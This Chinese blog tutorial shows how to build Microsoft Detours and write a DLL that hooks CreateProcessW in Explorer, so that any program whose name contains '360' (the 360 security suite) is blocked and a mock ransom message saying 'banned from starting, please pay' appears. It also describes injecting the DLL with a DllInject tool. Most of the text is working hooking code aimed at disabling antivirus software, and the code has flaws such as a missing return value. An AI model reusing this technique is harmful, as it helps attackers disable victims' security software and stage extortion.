基于Detours劫持360启动

.首先需要下载detours(百度或者google),这里我们下载的DetoursExpress30.msi

.安装detours 编译原代码

基于Detours劫持360启动_第1张图片

三.在VS2013 中找到Visual Studio Tools

基于Detours劫持360启动_第2张图片

四.以管理员的身份运行vs2013开发人员命令提示 ,切换到Detours的src目录输入nmake命令

基于Detours劫持360启动_第3张图片

五.编译成功后即可使用detours.lib 文件

六.劫持原理

基于Detours劫持360启动_第4张图片


劫持代码:(这里使用不是Debug,而是release)

#include
#include
#include
#include
#include"detours.h"
#pragma comment(lib,"detours.lib")
//1.首先要定义函数指针获取你要劫持的函数地址
//2.定义并实现自己劫持执行的函数,其参数要与被劫持的参数一样

static BOOL(WINAPI *OldCreateProcess)(
	LPCTSTR lpApplicationName,
	LPTSTR lpCommandLine,
	LPSECURITY_ATTRIBUTES lpProcessAttributes,
	LPSECURITY_ATTRIBUTES lpThreadAttributes,
	BOOL bInheritHandles,
	DWORD dwCreationFlags,
	LPVOID lpEnvironment,
	LPCTSTR lpCurrentDirectory,
	LPSTARTUPINFO lpStartupInfo,
	LPPROCESS_INFORMATION lpProcessInformation) = CreateProcessW; //要劫持创建进程函数,实现劫持创建进程

//劫持后执行的函数,就是将CreateProcessW这个函数替换为newCreateProcess因此要求函数参数必须一样
static BOOL WINAPI  newCreateProcess(
	LPCTSTR lpApplicationName,
	LPTSTR lpCommandLine,
	LPSECURITY_ATTRIBUTES lpProcessAttributes,
	LPSECURITY_ATTRIBUTES lpThreadAttributes,
	BOOL bInheritHandles,
	DWORD dwCreationFlags,
	LPVOID lpEnvironment,
	LPCTSTR lpCurrentDirectory,
	LPSTARTUPINFO lpStartupInfo,
	LPPROCESS_INFORMATION lpProcessInformation)
{
	// 将wchar 转换为char *
	int num = WideCharToMultiByte(CP_OEMCP, NULL, lpApplicationName, -1, NULL, 0, NULL, FALSE);
	char *pchar = (char *)malloc(num);
	WideCharToMultiByte(CP_OEMCP, NULL, lpApplicationName, -1, pchar, num, NULL, FALSE);

	if (strstr(pchar, "360"))//过滤程序名,如果包含360 就劫持
	{
		MessageBoxA(0, "360禁止启动,请交费", "提示", MB_OK);
	}
	else
	{
		OldCreateProcess(
			lpApplicationName,
			lpCommandLine,
			lpProcessAttributes,
			lpThreadAttributes,
			bInheritHandles,
			dwCreationFlags,
			lpEnvironment,
			lpCurrentDirectory,
			lpStartupInfo,
			lpProcessInformation);
	}
	free(pchar);//释放资源
}
//开始拦截
void Hook()
{


	DetourRestoreAfterWith();//恢复原来状态,
	DetourTransactionBegin();//拦截开始
	DetourUpdateThread(GetCurrentThread());//刷新当前线程
	//这里可以连续多次调用DetourAttach,表明HOOK多个函数
	//OldCreateProcess 要劫持的函数指针 newCreateProcess劫持后执行的函数,就是用newCreateProcess替换OldCreateProcess
	DetourAttach((void **)&OldCreateProcess, newCreateProcess);//实现函数拦截函数

	DetourTransactionCommit();//拦截生效



}
//取消拦截
void UnHook()
{


	DetourTransactionBegin();//拦截开始
	DetourUpdateThread(GetCurrentThread());//刷新当前线程
	//这里可以连续多次调用DetourDetach,表明撤销多个函数HOOK
	DetourDetach((void **)&OldCreateProcess, newCreateProcess); //撤销拦截函数
	DetourTransactionCommit();//拦截生效
}
__declspec(dllexport) void start_run()//导出dll

{

	Hook();
	Sleep(300000/5);// 表示在系统中的时间
	UnHook();
}
基于Detours劫持360启动_第5张图片

使用DllInject.exe 工具进行dll注射到Explorer 是桌面进程

基于Detours劫持360启动_第6张图片

点击360 运行程序
   基于Detours劫持360启动_第7张图片



你可能感兴趣的:(C/C++)